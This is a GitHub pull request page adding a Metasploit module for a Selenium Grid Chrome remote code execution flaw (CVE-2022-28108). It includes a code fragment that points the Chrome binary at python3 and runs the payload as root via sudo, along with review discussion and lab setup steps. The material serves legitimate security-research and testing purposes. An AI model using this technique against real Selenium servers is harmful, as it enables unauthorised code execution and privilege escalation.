-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Selenium Chrome RCE module (CVE-2022-28108) #19769
base: master
Are you sure you want to change the base?
Add Selenium Chrome RCE module (CVE-2022-28108) #19769
Conversation
modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
Outdated
Show resolved
Hide resolved
'browserName' => 'chrome', | ||
'goog:chromeOptions' => { | ||
'binary' => '/usr/bin/python3', | ||
'args' => ["-cimport os; os.system('sudo su root -c \"#{payload.encoded}\"')"] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Presumably this will fail unless the user running Selenium can elevate to root (without a password)?
Obtaining a low-privileged shell is likely to be a more robust approach. If the user has permission to elevate privileges with passwordless sudo, the operator can elevate their session themselves.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks!
When using this exploit against the official Selenium Docker image, we need to elevate to root (which can be done without a password) for the exploit to succeed. The normal seluser may not have the necessary permissions to execute the payload. However, this isn't always the case, so I added a check to determine whether the user can elevate to root without a password. 9bfccc4 Does this approach seem acceptable?
modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
Outdated
Show resolved
Hide resolved
* add check if sudo without password possible * base64 encode payload
modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb
Outdated
Show resolved
Hide resolved
…_28108.rb Improve version detection messaging Co-authored-by: bcoles <[email protected]>
* enable fetch_delete * avoid using single quotes * update doc
One of #19753
Firefox PR: #19771
File read PR: #19781
Vulnerable Application
Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
The vulnerability affects:
This module was successfully tested on:
Installation
docker pull selenium/standalone-chrome:3.141.59
docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-chrome:3.141.59
Verification Steps
use exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108
run lhost=<lhost> rhost=<rhost>
Options
Scenarios